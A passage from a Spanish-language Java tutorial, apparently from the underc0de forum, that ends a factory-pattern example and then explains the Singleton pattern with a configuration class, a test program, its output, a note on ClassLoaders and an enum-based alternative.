Hábitat: Doméstico

Tipo de animal: Tiburón
Familia: Lámnidos
Hábitat: Mar

Tipo de animal: León
Familia: Felinos
Hábitat: Selva

Y de ésta manera sencilla, podemos usar tantas fábricas como queramos para poder crear objetos si generar dependencias


PATRÓN SINGLETON


Cuándo usarlo:

  • Cuando la aplicación requiere que solo exista una instancia de un determinado objeto.
Problema: Encapsular la configuración de una aplicación en un objeto y compartirlo con los demás objetos de la aplicación que lo requiera.

Solución: Utilizar el patrón Singleton para encapsular la configuración de la aplicación.

Para utilizar éste patrón se deben seguir dos reglas:

  • El primer paso es hacer el constructor privado para que no se pueda llamar y por lo tanto, no se puedan crear instancias.
  • El segundo paso es crear una instancia de la clase y devolverla mediante un método estático.


Teniendo en cuenta éstas reglas, creamos una clase que representa a la configuración de la aplicación:

Configuration.java
Código: Java
  1. package org.underc0de.singleton;
  2.  
  3. import java.util.HashMap;
  4. import java.util.Map;
  5.  
  6. public class Configuration {
  7.  
  8.         private Map<String,Object> appOptions = null;
  9.         private static Configuration config;
  10.        
  11.         private Configuration() {
  12.                
  13.         }
  14.        
  15.         public static Configuration getConfiguration() {
  16.                 if(config == null) {
  17.                         config = new Configuration();
  18.                 }
  19.                 return config;
  20.         }
  21.  
  22.         public Map<String,Object> getAppOptions() {
  23.                 if(appOptions == null) {
  24.                         appOptions = new HashMap<>();
  25.                         appOptions.put("theme", "dark");
  26.                         appOptions.put("show_hidde_files", true);
  27.                 }
  28.                 return appOptions;
  29.         }
  30.  
  31.         public void setAppOptions(Map<String,Object> appOptions) {
  32.                 this.appOptions = appOptions;
  33.         }
  34.        
  35. }

Y simplemente, cuando la necesitemos, obtenemos su única instancia:

SingletonTest.java
Código: Java
  1. package org.underc0de.singleton;
  2.  
  3. import java.util.Map;
  4.  
  5. public class SingletonTest {
  6.  
  7.         public static void main(String[] args) {
  8.                 Configuration cfg = Configuration.getConfiguration();
  9.                
  10.                 // recorre el hashmap para leer las claves y valores
  11.                 for(Map.Entry<String, Object> entry: cfg.getAppOptions().entrySet()) {
  12.                         System.out.println(entry.getKey()+": "+entry.getValue());
  13.                 }
  14.  
  15.         }
  16.  
  17. }

Salida:

Código: [Seleccionar]
show_hidde_files: true
theme: dark


NOTA IMPORTANTE:

Generalmente, cuando se usa éste patrón, se garantiza que solamente existirá una instancia de dicha clase. Pero, si se trata de una aplicación web y se va a integrar una aplicación web con otra, es probable que ya no exista una sola instancia.

Ésto se debe a los ClassLoaders. Cada contenedor de cada aplicación web (WAR) tiene su propio ClassLoader, por lo que en el supuesto caso de una integración de WARs, las instancias serán dos y no una como se había previsto.

Una mejor forma de de implementar el patrón Singleton es mediante un enum, como recomienda Joshua Bloch. Al ser un enum, todas sus propiedades serán constantes únicas, no se pueden crear nuevas, solo utilizar las ya descritas.

Código: Java
  1. public enum Configuration {
  2.         INSTANCE;
  3.        
  4.         private Map<String, Object> options;
  5.        
  6.         public Map<String, Object> getOptions() {
  7.                 if(options == null)
  8.                         fillOptions();
  9.                 return options;
  10.         }
  11.        
  12.         private void fillOptions() {
  13.                 options = new HashMap<>();
  14.                 options.put("theme", "Dark");
  15.                 options.put("show_hidden_files", true);
  16.         }
  17.        
  18. }

Post Original: https://underc0de.org/foro/java/patrones-de-diseno/